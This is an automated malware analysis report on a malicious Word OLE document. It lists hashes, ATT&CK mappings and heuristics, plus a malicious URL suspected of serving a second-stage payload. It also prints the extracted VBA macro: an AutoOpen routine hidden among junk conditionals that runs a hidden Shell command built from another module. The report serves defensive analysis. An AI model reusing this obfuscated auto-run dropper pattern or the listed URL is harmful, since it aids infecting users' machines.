Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 191d142ee08f529c…

MALICIOUS

Office (OLE)

36.5 KB Created: 2016-05-04 15:13:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: d6439ec563a24235edefae7adb38dd36 SHA-1: 468909389517bc667ca16e6ca7aa51698e8ea2a8 SHA-256: 191d142ee08f529c0fb5f57adc1d34cbee4af3f20bbc14430c7d98ccb0820134
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OLE document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an attempt to execute external commands. The embedded URL suggests a potential download source for a secondary payload. The macro's obfuscated nature and the use of Shell() point towards a downloader or dropper functionality.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sin.grupo-integral.co/lexisnexis/search/bgreport.php In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3098 bytes
SHA-256: b7b9a8b3d268369f46e45070f57f6b2b8a1045d7db614b103c1fa24d8d7b6b24
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
If 949468 = 949468 + 1 Then End
If 7977 < 35 Then
If 464763 = 464763 + 1 Then End
If 4388 < 61 Then
If 542728 = 542728 + 1 Then End
If 8217 < 57 Then
        MsgBox ("LvcTRgbw61")
End If
If Len("pOBDTVGR9968") = Len("QdZNFxfq") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("ybYMKEHm81")

End If
If Len("DHPLaXQS8553") = Len("XRkFvFxS") Then
If 942629 = 942629 + 1 Then End
If 6265 < 65 Then
        MsgBox ("CYEyWscI48")
End If
If Len("CQExGsiU7125") = Len("JrzzIjmW") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 179672 = 179672 + 1 Then End
If 5487 < 19 Then
        MsgBox ("bDsAuOek24")
End If
If Len("HCDIolln8651") = Len("kAjXjJKu") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("lcsqXFvy86")


End If
If Len("ecOPItZX1241") = Len("RasVJEzZ") Then
If 864541 = 864541 + 1 Then End
If 2346 < 78 Then
If 275329 = 275329 + 1 Then End
If 2485 < 27 Then
        MsgBox ("XTQvEyog62")
End If
If Len("EWFcSvtY3245") = Len("vffzTRlM") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("oUSwonFU93")

End If
If Len("bKfZqprH5519") = Len("zwJHlIEx") Then
If 518825 = 518825 + 1 Then End
If 9779 < 53 Then
        MsgBox ("XyiSRukY43")
End If
If Len("djOLTHUG1639") = Len("FMsuFguw") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 746911 = 746911 + 1 Then End
If 8192 < 17 Then
        MsgBox ("bdGuJTCh28")
End If
If Len("uZLyNVLU2365") = Len("aXkPLeuW") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")


End If
If 992635 = 992635 + 1 Then End
If 3972 < 33 Then
If 415415 = 415415 + 1 Then End
If 7744 < 43 Then
        MsgBox ("FrFsBlnI57")
End If
If Len("tghlNzHH2917") = Len("YKLYonhx") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("NoEuBPKz54")

End If
Shell HGvbdhsjhjVKBLdsf.ngbvcsdfdsf + HGvbdhsjhjVKBLdsf.fdfsdsfsdf + HGvbdhsjhjVKBLdsf.jhgfdsdsfsdf, vbHide




If Len("UbUtieDm4722") = Len("ZKyPzoaU") Then
If 772794 = 772794 + 1 Then End
If 4566 < 48 Then
        MsgBox ("PVAsPcLt22")
End If
If Len("PrnZRcEr7739") = Len("TxBicZHk") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 818788 = 818788 + 1 Then End
If 3788 < 83 Then
        MsgBox ("fyoYCWvF97")
End If
If Len("RhPFVRGC6152") = Len("yLfzuefE") Then
       MsgBox ("Error !!!")
End If
End Sub













Attribute VB_Name = "HGvbdhsjhjVKBLdsf"
Attribute VB_Base = "0{1624C1AC-5DE2-4CF0-89DA-34735209B472}{8ED3883C-8716-421C-878B-E278F1658BF1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Open this report in the interactive analyzer, or submit your own file for analysis.